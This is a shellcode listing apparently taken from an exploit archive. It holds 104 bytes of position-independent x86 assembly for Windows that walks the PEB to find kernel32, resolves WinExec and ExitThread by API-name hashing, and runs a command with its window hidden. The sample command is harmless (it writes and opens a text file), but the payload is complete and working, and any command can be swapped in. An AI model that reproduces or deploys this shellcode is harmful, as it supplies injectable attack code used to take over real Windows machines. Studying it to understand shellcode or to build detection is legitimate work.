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win32 WinExec() Command Parameter 104+ bytes
[============================================
win32 WinExec() Command Parameter 104+ bytes
============================================
;
; relocateable dynamic runtime assembly code example using hash lookup
;
; WinExec() with ExitThread()
; 104 bytes
;
; for testing:
;
; ml /c /coff /Cp wexec2.asm
; link /subsystem:windows /section:.text,w wexec2.obj
;
; wyse101 [at] gmail.com
;
; October 2006
;
.386
.model flat,stdcall
ROL_CONSTANT equ 5
mrol macro iNum:req,iBits:req
exitm <(iNum shl iBits) or (iNum shr (32-iBits))>
endm
mror macro iNum:req,iBits:req
exitm <(iNum shr iBits) or (iNum shl (32-iBits))>
endm
hashapi macro szApi
local dwApi
dwApi = 0
forc x,szApi
dwApi = dwApi + '&x'
dwApi = mrol(dwApi,ROL_CONSTANT)
endm
dwApi = mrol(dwApi,ROL_CONSTANT)
dw (dwApi and 0ffffh)
endm
.code
assume fs:nothing
code_start:
jmp load_data
setup_parameters:
pop ebp
xor ecx,ecx
push ecx ; ExitThread() exitcode
push ecx ; SW_HIDE
mov cl,(cmd_end-api_hashes) ; limit of 255 bytes per command
inc byte ptr[ebp+ecx]
lea eax,[ebp+(cmd_string-api_hashes)]
push eax ; WinExec command string
get_k32_base:
mov cl,30h
mov eax,fs:[ecx]
mov eax,[eax+0ch]
mov esi,[eax+1ch]
lodsd
mov ebx,[eax+08h]
get_api_loop:
mov eax,[ebx+3ch]
mov eax,[ebx+eax+78h]
lea esi,[ebx+eax+1ch]
mov cl,3
load_rva:
lodsd
add eax,ebx
push eax
loop load_rva
pop ebp
pop edi
load_api:
mov esi,[edi+4*ecx]
add esi,ebx
xor eax,eax
cdq
hash_api:
lodsb
add edx,eax
rol edx,ROL_CONSTANT
dec eax
jns hash_api
inc ecx
mov eax,[esp+4]
cmp dx,word ptr[eax]
jne load_api
pop eax
movzx edx,word ptr[ebp+2*ecx-2]
add ebx,[eax+4*edx]
pop esi
call ebx
lodsw
jmp get_k32_base
load_data:
call setup_parameters
api_hashes:
hashapi <WinExec>
hashapi <ExitThread>
code_end:
cmd_string db 'cmd /c echo hello,world>test.txt && notepad test.txt',0ffh
cmd_end equ $-1
end code_start
;
# 0day.today [2024-12-25] #